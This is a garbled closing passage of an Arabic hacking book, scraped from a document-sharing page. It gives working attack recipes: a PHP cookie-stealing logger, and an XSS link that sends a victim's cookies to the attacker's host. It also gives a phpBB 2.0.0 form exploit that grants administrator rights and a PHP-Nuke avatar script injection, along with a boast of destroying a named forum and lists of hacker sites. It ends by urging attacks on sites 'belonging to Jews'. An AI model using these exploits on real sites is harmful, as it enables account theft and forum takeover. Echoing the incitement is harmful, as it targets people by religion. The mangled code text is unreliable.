;((($LogFile ;("<Print ("<Pre ;("Print ("<B>.:: Statics</B>\n ;("Print ("\n Print ("o Logged Records : <B>" . ;("Count (File ($LogFile)) . "</B>\n Print ("o Listed Records : <B>" . Count ($Records) . " </B>[Not ;("Counting Duplicates]\n ;("Print ("\n ;("Print ("<B>.:: Options</B>\n ;("Print ("\n } (If (Count (File ($LogFile)) > 0 Link['Download'] = "[<A Href=\"" .$ ;"[<$LogFile . "\" rel="nofollow">Download</A { }Else Link['Download'] = "[No Records in$ ;"[Log 904<br /> <br /> { Print ("o Download Log : " . ;("$Link['Download'] . "\n Print ("o Clear Records : [<A Href=\"" . $SCRIPT_PATH. "? ;("Action=Delete\" rel="nofollow">Y</A>]\n ;("Print ("\n ;("Print ("<B>.:: Records</B>\n ;("Print ("\n While (List ($Line[0], $Line[1]) = } ((Each ($Records Print ("<B>" . $Line[0] . ": </B>" . ;([$Line[1 { { ;("<Print ("</Pre ;Break :"Case "Delete ;(UnLink ($LogFile@ 905<br /> <br /> Print ("<Br><Br><B>Deleted Succsesfuly</B></Center></Pre>") Or Die ("<Br><Br><B>Error: Cannot ;("<Delete Log</B></Center></Pre Print ("<Meta HTTPEquiv=\"Refresh\" Content=\"3; URL=" . $HTTP_SERVER_VARS['HTTP_REF ;("<"\" . ['ERER ;Break { <? php ‫ ارفع الملف لموقع يدعم‬-2 ‫ اهجعل الضحية يضغط على هذا اللينك‬-3 member2.php? s=[Session]&action=viewsubscripti [on&perpage=[Script Code [script code] ‫واستبدال‬ ‫بهذا‬ ‫]مكان الملف الذي‬//:Script>location='Http> Action=Log&Cookie='+?[‫تم تحميله‬ <(document.cookie);</Script 906<br /> <br /> ‫‪ -4‬إذهب ألى هذا العنوان‬ ‫‪http://%20‬مكان‪ /‬الملف الذي تم تحميله ?‬ ‫‪Action=List‬‬<br /> <br /> ‫انتهى‪،،،‬‬<br /> <br /> ‫‪907‬‬<br /> <br /> ‫" اوختراق منتديات ‪" phpbb 2.0.0‬‬ ‫>منقول من منتديات رواد العرب<‬ ‫‪phpbb 2.0.0‬‬ ‫وهو شبيه بالـ ‪vb‬‬ ‫‪908‬‬<br /> <br /> ‫وهو سهل هجدا بل يعتبر تااافه‬ ‫يال سمو بال‬<br /> <br /> ‫‪PhpBB2‬‬ ‫في ملف ‪admin_ug_auth.php‬‬ ‫الوصف‪:‬‬ ‫يمكنك من تخلل هذه الثغرة أن تأتخذ تصريح بأن تكون‬ ‫مدير والمشرف العا‪.‬م على المنتدى‬ ‫وبذلك يمكنك الدتخول الى لوحة التحكم متى شئت‬ ‫الصدار‪:‬‬ ‫‪2.0.0‬‬ ‫لتجربة الثغرة اول سجل بالمنتدى‬ ‫ثم احفظ رقم عضويتك بالمنتدى‬ ‫بعدها افتح المفكرة وانسخ مايلي اليها‬ ‫>‪<html‬‬ ‫>‪<head‬‬ ‫>‪<head/‬‬ ‫‪909‬‬<br /> <br /> <body> "form method="post> action="http://www.domain_name/b oard_directory/admin/admin_ug_aut <"h.php User Level: <select <"name="userlevel option> value="admin">Administrator</opti <on option> value="user">User</option></select < input type="hidden"> <"name="private[1]" value="0 input type="hidden"> <"name="moderator[1]" value="0 input type="hidden" name="mode"> <"value="user input type="hidden" name="adv"> <""=value 910<br /> <br /> ‫"‪User Number: <input type="text‬‬ ‫‪<"name="u" size="5‬‬ ‫>"‪input type="submit‬‬ ‫‪<"name="submit" value="Submit‬‬ ‫>‪<form/‬‬ ‫>‪<body/‬‬ ‫>‪<html/‬‬ ‫عدل هذا العنوان الى عنوان الموقع المستهدف‬ ‫‪http://www.domain_name/board_dir‬‬ ‫‪ectory‬‬ ‫اتخفظه بامتداد ‪html‬‬ ‫عندما تدتخل الى الصفحة التي قمت بحفظها سوف تجد‬ ‫قائمة والتي يتم اتختيار التصريح الذي تريده لتطبيق‬ ‫الثغرة اتختر تصريح ‪Administrator‬‬ ‫ثم بالمربع الجانبي شع رقم عضويتك بالمنتدى‬ ‫أضغط زر ‪submit‬‬ ‫بعدها سوف تاتيك شاشة تسجيل الدتخول ضع اسم‬ ‫المستخد‪.‬م وكلمة المرور الخاصة بك‬ ‫ثم سوف تجد نفسك في لوحة تحكم المنتدى !! أفعل‬ ‫ماتريد المنتدى منتداك‬ ‫‪911‬‬<br /> <br /> ‫وسلااامتكم شفتو سهولت الدرس وهو صرااحه‬ ‫منقول بس تعرفو ما حبيت انزله ال وعليه تطبيق‬ ‫شووفوو المنتدا ذا‬<br /> <br /> ‫‪/http://forums.xos.ca‬‬<br /> <br /> ‫تدمر والحمد ل عقبال المواقع البااقيه‪...‬‬ ‫انتهى‪،،،‬‬ ‫" ثغرة في ‪" php nuke‬‬ ‫>منقول من منتدى ابن مصر<‬ ‫>الكاتب‪ :‬ايسر <‬ ‫فيه ثغره في ال ‪ php nuke‬حبيت اقولكم عليها‬ ‫‪..‬الثغره دي تتيح لك تنفيذ اكواد الهتمل و الجافا بدل‬ ‫مكان الصوره الشخصيه ‪.......‬‬ ‫‪912‬‬<br /> <br /> ‫انا عارف انكم اول ما تقروا السطر الول اكيد اغلبكم‬ ‫حيشتمني باكثر اللفاظ اباحه ‪ -‬بس عادي انا متعود ‪-‬‬ ‫و يقول ايه ده باه هو مدتخلنا هنا عشان يقولنا تنفيذ‬ ‫اكواد هتمل و هجافا بدل الصوره الشخصيه ؟؟؟!!!! بس‬ ‫؟؟؟!!! اما عبيط اوي !!!‬ ‫لكن في اتخر الموضوع حقولكم ممكن تعملوا بيها ايه‬ ‫‪.....‬‬ ‫المهم ان الثغره كالتالي ‪ ) :‬ساحاول اني اعمل زي‬ ‫مواقع السيكيوريتي المحترمه لم تيجي تعرض ثغره (‬ ‫الصدارات المصابه ‪:‬‬ ‫‪ PHP Nuke versionh 6.0‬و القل منها‬ ‫الستخدا‪.‬م ‪:‬‬ ‫تستخد‪.‬م كما قلت في تنفيذ اكواد الهتمل و الجافا‬ ‫سكريبت من تخلل مكان صورهم الشخصيه‪.‬‬ ‫‪913‬‬<br /> <br /> ‫ملخص عا‪.‬م للثغره‪:‬‬ ‫اي مستخد‪.‬م عند‪.‬م يقو‪.‬م بالتسجيل في المجله فانه‬ ‫يطالب باتختيار صوره شخصيه و ذلك من تخلل‬ ‫مجموعه من الصور الموهجوده في المجلد هذا ‪/‬‬ ‫‪.... images/forum/avatars‬‬ ‫عندئذ تقو‪.‬م المجله بوضع اسم الصوره في الداتا بيز ‪..‬‬ ‫و لكنها ل تقو‪.‬م بوضع اي كود اي انه اذا استطاع اي‬ ‫يوزر ان يحصل على كود فور‪.‬م المجله و استطاع ان‬ ‫يغير صندوق اتختيار الصوره الشخصيه الى صندوق‬ ‫‪ text‬عادي ‪..‬اذن اعتقد انه ممكن ان يكتب كود‬ ‫الهتمل اللي هوه عايزه !!!!‬ ‫الكسبلويت‪:‬‬ ‫اول عليك ن تقو‪.‬م بالتسجيل في المجله و الدتخول بعد‬ ‫ذلك و الذهاب الى صفحه ‪ Your Account‬و منها‬ ‫الذهاب الى صفحه ‪ Your Info‬بعد ذلك عليك‬ ‫باظهار سورس كود الصفحه من تخلل ‪view‬‬ ‫‪914‬‬<br /> <br /> ‫‪ source‬و البحث عن كلمه ‪uid‬‬ ‫لز‪.‬م تلقي حاهجه زي كده ‪:‬‬ ‫>"‪input type="hidden" name="uid‬‬ ‫‪<"value="2111‬‬<br /> <br /> ‫كده يبقى انت عرفت رقم الي دي اللي هوه في المثال‬ ‫كان ‪... 2111‬‬ ‫عليك بعد ذلك نك تحفظ الكود ده في النوت باد و‬ ‫تسميه اي اسم بامتداد ‪ html‬مع ملحظه تغيير‬ ‫‪ /http://nukesite‬الى عنوان المجله الهدف‬ ‫‪:......‬‬ ‫>!‪<!-- START CODE --‬‬ ‫>‪"form name="Register‬‬ ‫‪action="http://NUKEDSITE/modules.‬‬ ‫"‪php?name=Your_Account‬‬ ‫‪<"method="post‬‬ ‫‪915‬‬<br /> <br /> b>Code ('">[code]<b ')</b><input> "type="text "name="user_avatar" size="30 <maxlength="30"><br><br<br /> <br /> b>Username</b><input> type="text" name="uname" "size="30 maxlength="255"><br><b>User "ID:<input type="text "name="uid size="30"><input type="hidden" "name="op value="saveuser"><input type="submit" value="Save <Changes"></form <!-- END CODE --!><br /> <br /> 916<br /> <br /> ‫و الن عليك تشغيل ملف ال ‪ html‬هذا ‪ ..‬اول تخانه‬ ‫عليك كتابه الكود المطلووب تنفيذه مع مراعاه انه‬ ‫يجب ن يبدأ بالعلمه ‪:‬‬ ‫"<‬ ‫و ممكن ينتهي بالعلمه‬ ‫>‪b‬‬ ‫حتى ل تجد اي مشاكل في الكود عند العرض ‪...‬ضع‬ ‫بعد كده اسم اليوزر و رقم الي دي و بعدين‬ ‫‪ submit‬سوف تجد نفسك في صفحه ‪Your‬‬ ‫‪ Account‬الخاصه بك ‪..‬و كده الكود تم تشغيله !!!!‬ ‫مثال للي ممكن تكتبه مثل ‪:‬‬ ‫"<>‪h1>TESTING</h1><b‬‬ ‫طبعا ده حيطبع الكلمه ‪ TESTING‬مكان صورتك‬ ‫الشخصيه ‪!!....‬‬ ‫‪917‬‬<br /> <br /> ‫تخلي بالك ان فيه مسافه بعد العلمه‬ ‫">‪b‬‬ ‫تخلي بالك منها وال سوف تجد بروكين كود ‪..‬‬ ‫اقصى حد للكود اللي ممكن انك تشغله هو ‪ 30‬كراكتر‬ ‫‪....‬‬ ‫اللي انا كنت عايز اقوله انك ممكن تنفذ ثغرات ‪xss‬‬ ‫او اي حاهجه انت مش عارف تنفذها بسبب اغلق كود‬ ‫الهتمل اياه =( لمزيد من المعلومات راهجع الدرس هذا‬ ‫كمثال ليس اكثر ؟؟‬ ‫الحل ‪:‬‬ ‫لسه و ال !!!!‬ ‫و السل‪.‬م عليكم و رحمه ال و بركاته‪...‬‬ ‫انتهى‪،،،‬‬ ‫‪918‬‬<br /> <br /> ‫" أفضل المنتديات العربية للهاكر "‬ ‫أقد لكم أفضل المواقع والمنتديات العربية في مجال‬ ‫الهاك بجميع مجالته على حد معرفتي‪:::‬‬ ‫‪ .1‬منتدى منظمة هاي هكر‪.‬‬ ‫‪http://members.lycos.co.uk/hiha‬‬ ‫‪/ck/vb‬‬ ‫‪ .2‬منتدى إعصار‪.‬‬ ‫‪/http://www.e3sar.net/vb‬‬ ‫‪ .3‬منتدى ابن مصر‪.‬‬ ‫‪/http://www.ebnmasr.net/vb‬‬ ‫‪ .4‬منتدى شبكة الحز‪.‬م السلمية‪.‬‬ ‫‪/http://www.7azm.net/vb‬‬ ‫‪ .5‬منتدى شبكة المهندس‪.‬‬ ‫‪http://www.almuhands.org/forum‬‬ ‫‪/index.php‬‬ ‫‪ .6‬منتدى امبراطورية العرب‪.‬‬ ‫‪/http://www.arabse.net/vb‬‬ ‫‪919‬‬<br /> <br /> .‫ منتدى معتز نت‬.7 /http://www.emoataz.com/vb .‫ منتدى هاكر فلسطين‬.8 /http://www.h4palestine.com ‫ موقع‬.9 /http://www.pharaonics.net /http://www.ruwad.tk .‫ منتدى رواد‬.10 .‫ موقع المد الحمر‬.11 /http://www.nafitha.org .‫ منتدى عرب فيجوال بيسك‬.12 http://www.arab4vb.com/vb/inde x.php .‫ منتدى نجم دوس‬.13 http://www.naajm.com/vb/forumd isplay.php ‫هذه افضل مارأيته وتصفحته عن المواقع العربية التي‬ ...‫تدعم علم الهاك‬ .‫وشكرااا‬<br /> <br /> 920<br /> <br /> 921<br /> <br /> ‫" أفضل مواقع المن والهاك‬ ‫البنجليزية "‬<br /> <br /> ‫هذه بعض المواقع المهمة التي يستخدمها الهكر‬ ‫لمعرفة اتخر الثغرات الصادره مع مقالت بسيط لهذه‬ ‫المواقع‬ ‫موقع ‪Packet Storm Security‬‬ ‫‪---------------------‬‬‫العنوان ‪:‬‬ ‫‪/http://packetstorm.securify.com‬‬ ‫واحد من اكبر قواعد البيانات التي تحمل كعلومات‬ ‫متعلقة بالمن‬ ‫انا افضل الذهاب الى هذا الموقع مره في اليو‪.‬م لقراءة‬ ‫قسم '‪ 'New Files Today‬سواءا للبحث عن‬ ‫ثغرات معينه او ل‪.‬‬ ‫اوهجد الرشيف عن طريق ‪ Ken Williams‬حيث‬ ‫ان هذا الموقع يستهلك مئات اللوف من النقرات كل‬ ‫‪922‬‬<br /> <br /> ‫اسبوع‬ ‫حاليا انتقلت ملكيته الى مالك ) ‪Kroll-O-Nagra‬‬ ‫‪.)/http://www.securify.com‬‬ ‫موقع ‪Security Focus‬‬ ‫‪---------------‬‬‫العنوان ‪:‬‬ ‫‪/http://www.securityfocus.com‬‬ ‫قاعدة بيانات اتخرى كاملة ‪ .‬تتحدث يوميا فهؤلء‬ ‫الشباب القائمون على هذا الموقع ل ينامون ابدا !‬ ‫‪BugTraq‬‬ ‫‪-------‬‬‫العنوان ‪ :‬مستضيفه موقع ) ‪Security Focus‬‬ ‫‪, /http://www.securityfocus.com‬‬ ‫) وسابقا كان مستضيفة )) ‪Netspace‬‬ ‫‪.(/http://www.netspace.org‬‬ ‫‪ BugTraq‬واحدة من افضل قائمة المراسلت‬ ‫البريدية ‪ mailing list‬التي تتهتم بالمن اللكتروني‬ ‫هذه القائمة يقو‪.‬م عليها رئيس اسمه ‪Aleph1‬‬ ‫‪ .((aleph1@underground.org‬يستقبل‬ ‫‪923‬‬<br /> <br /> ‫الرسائل التي ترسلها ) عن ثغرة معينه مثل ( ويقو‪.‬م‬ ‫بتحليلها وتنضيفها من ال ‪ spams‬والرسائل التي‬ ‫ليس لها فائدة او الثغرات القديمة ثم يقو‪.‬م بإرسال‬ ‫الرساله الممتازه فقط الى هجميع المشتركين في القائمة‬ ‫انصحك بالتسجيل‬ ‫‪/http://www.securityfocus.com‬‬ ‫تستطيع ايضا البحث في ارشيفاتها التي تعتبر لدي من‬ ‫افضل قواعد البيانات وذلك عن طريق دتخول الموقع ثم‬ ‫البحث عن رابط '‪'search‬‬ ‫البحث ‪Searching‬‬ ‫‪-----------‬‬‫اذا كنت تريد البحث عن ثغرة متعلقة بخدمه معينة مثل‬ ‫‪ Sendmail 8.8.3‬فستحتاج لكتابت '‪sendmail‬‬ ‫‪ '8.8.3‬واذا اردت البحث عن ثغره معينه مثل هجو‪.‬م‬ ‫حجب الخدمه ‪ local DoS‬ضد اي نسخه من‬ ‫‪sendmail‬‬ ‫فما عليك ال كتابت التالي ‪local DoS' :‬‬ ‫‪ 'sendmail‬بدون علمات القتباس‪.‬‬ ‫وهذه بعض المواقع التخرى‪:::‬‬ ‫‪924‬‬<br /> <br /> /http://rootshell.redi.tk ‫ موقع‬.1 http://www.ussrback.com ‫ موقع‬.2 ‫ موقع‬.3 http://www.insecure.org/sploits.h tml ‫ موقع‬.4 http://www.linux.com.cn/hack.co. za =+=+=+=+=+=+=+=+=+=+=+=+=+=+= +=+=+=+=+=+=+=+=+=+=+=+=+=+=+ =<br /> <br /> ‫أما بالنسبة لمواقع الهاك النجليزية فمعرفتي بها‬ ‫ وهذه المواقع‬،‫م توسعي في اللغة النجليزية‬.‫ضئيلة لعد‬ :::‫كالتالي‬ http://www.haker.com.pl ‫ موقع‬.1 ‫ موقع‬.2 /http://www.webattack.com 925<br /> <br /> ‫‪ .3‬موقع ‪http://blacksun.box.sk‬‬ ‫‪ .4‬موقع‬ ‫‪http://www.blackcode.com‬‬<br /> <br /> ‫تقبلوا تحياتي‪،،،‬‬ ‫انتهى‪،،،‬‬<br /> <br /> ‫تم تحميل الكتاب من المكتبة‬ ‫العربية‬ ‫‪/http://www.TipsClub.com‬‬ ‫الرجاء عد م التجربة على المواقع‬ ‫العربية النافعه والستفاده من‬ ‫المعلومات للقضاء على المواقع‬ ‫الباحية والتابعة لليهود واعوابنهم‬<br /> <br /> ‫‪926‬‬<br /> <br /> 927<br /> <br /> ‫الخاتمة‬<br /> <br /> ‫‪928‬‬<br /> <br /> </div> </div> </div> </div> </div> </div> </div> </div> <div class="modal fade" id="report" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <form role="form" method="post" action="https://idoc.tips/report/-400--pdf-free" style="border: none;"> <div class="modal-header"> <button type="button" class="close" data-dismiss="modal" aria-hidden="true">&times;</button> <h4 class="modal-title">Report "اروع كتاب عن الهكر 400 صفحة عربي"</h4> </div> <div class="modal-body"> <div class="form-group"> <label>Your name</label> <input type="text" name="name" required="required" class="form-control" /> </div> <div class="form-group"> <label>Email</label> <input type="email" name="email" required="required" class="form-control" /> </div> <div class="form-group"> <label>Reason</label> <select name="reason" required="required" class="form-control"> <option value="">-Select Reason-</option> <option value="pornographic" selected="selected">Pornographic</option> <option value="defamatory">Defamatory</option> <option value="illegal">Illegal/Unlawful</option> <option value="spam">Spam</option> <option value="others">Other Terms Of Service Violation</option> <option value="copyright">File a copyright complaint</option> </select> </div> <div class="form-group"> <label>Description</label> <textarea name="description" required="required" rows="3" class="form-control" style="border: 1px solid #cccccc;"></textarea> </div> <div class="form-group"> <div style="display: inline-block;"> <div class="g-recaptcha" data-sitekey="6LcHT8sZAAAAAPKfs_PZGhwvz-OHbUMuekQzz5xK"></div> </div> </div> <script src='https://www.google.com/recaptcha/api.js'></script> </div> <div class="modal-footer"> <button type="button" class="btn btn-default" data-dismiss="modal">Close</button> <button type="submit" class="btn btn-success">Send</button> </div> </form> </div> </div> </div> <script> $(document).ready(function () { var inner_height = $(window).innerHeight() - 250; $('#pdfviewer').css({"height": inner_height + "px"}); }); </script> <footer class="footer" style="margin-top: 60px;"> <div class="container-fluid"> Copyright &copy; 2025 IDOC.TIPS. All rights reserved. <div class="pull-right"> <span><a href="https://idoc.tips/about">About Us</a></span> | <span><a href="https://idoc.tips/privacy">Privacy Policy</a></span> | <span><a href="https://idoc.tips/term">Terms of Service</a></span> | <span><a href="https://idoc.tips/copyright">Copyright</a></span> | <span><a href="https://idoc.tips/contact">Contact Us</a></span> | <span><a href="https://idoc.tips/cookie_policy">Cookie Policy</a></span> </div> </div> </footer> <!-- Modal --> <div class="modal fade" id="login" tabindex="-1" role="dialog" aria-labelledby="myModalLabel"> <div class="modal-dialog" role="document"> <div class="modal-content"> <div class="modal-header"> <button type="button" class="close" data-dismiss="modal" aria-label="Close" on="tap:login.close"><span aria-hidden="true">&times;</span></button> <h4 class="modal-title" id="add-note-label">Sign In</h4> </div> <div class="modal-body"> <form action="https://idoc.tips/login" method="post"> <div class="form-group"> <label class="sr-only" for="email">Email</label> <input class="form-input form-control" type="text" name="email" id="email" value="" placeholder="Email" /> </div> <div class="form-group"> <label class="sr-only" for="password">Password</label> <input class="form-input form-control" type="password" name="password" id="password" value="" placeholder="Password" /> </div> <div class="form-group"> <div class="checkbox"> <label class="form-checkbox"> <input type="checkbox" name="remember" value="1" /> <i class="form-icon"></i> Remember me </label> <label class="pull-right"><a href="https://idoc.tips/forgot">Forgot password?</a></label> </div> </div> <button class="btn btn-primary btn-block" type="submit">Sign In</button> </form> </div> </div> </div> </div> <!-- Global site tag (gtag.js) - Google Analytics --> <script async src="https://www.googletagmanager.com/gtag/js?id=UA-177830117-1"></script> <script> window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'UA-177830117-1'); </script> <script src="https://idoc.tips/assets/js/jquery-ui.min.js"></script> <link rel="stylesheet" href="https://idoc.tips/assets/css/jquery-ui.css"> <script> $(function () { $("#document_search").autocomplete({ source: function (request, response) { $.ajax({ url: "https://idoc.tips/suggest", dataType: "json", data: { term: request.term }, success: function (data) { response(data); } }); }, autoFill: true, select: function (event, ui) { $(this).val(ui.item.value); $(this).parents("form").submit(); } }); }); </script> <!-- cookie policy --> <div id="IDOCTIPS_cookie_box" style="z-index:99999; background: #97c479; width: 100%; position: fixed; padding: 5px 15px; text-align: center; left:0; bottom: 0;"> Our partners will collect data and use cookies for ad personalization and measurement. <a href="https://idoc.tips/cookie_policy" target="_blank">Learn how we and our ad partner Google, collect and use data</a>. <a href="#" class="btn btn-success" onclick="accept_IDOCTIPS_cookie_box();return false;">Agree & close</a> </div> <script> function accept_IDOCTIPS_cookie_box() { document.cookie = "IDOCTIPS_cookie_box_viewed=1;max-age=15768000;path=/"; hide_IDOCTIPS_cookie_box(); } function hide_IDOCTIPS_cookie_box() { var cb = document.getElementById('IDOCTIPS_cookie_box'); if (cb) { cb.parentElement.removeChild(cb); } } (function () { var IDOCTIPS_cookie_box_viewed = (function (name) { var matches = document.cookie.match(new RegExp("(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\\$1') + "=([^;]*)")); return matches ? decodeURIComponent(matches[1]) : undefined; })('IDOCTIPS_cookie_box_viewed'); if (IDOCTIPS_cookie_box_viewed) { hide_IDOCTIPS_cookie_box(); } })(); </script> <!-- end cookie policy --> </body> </html> <script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script>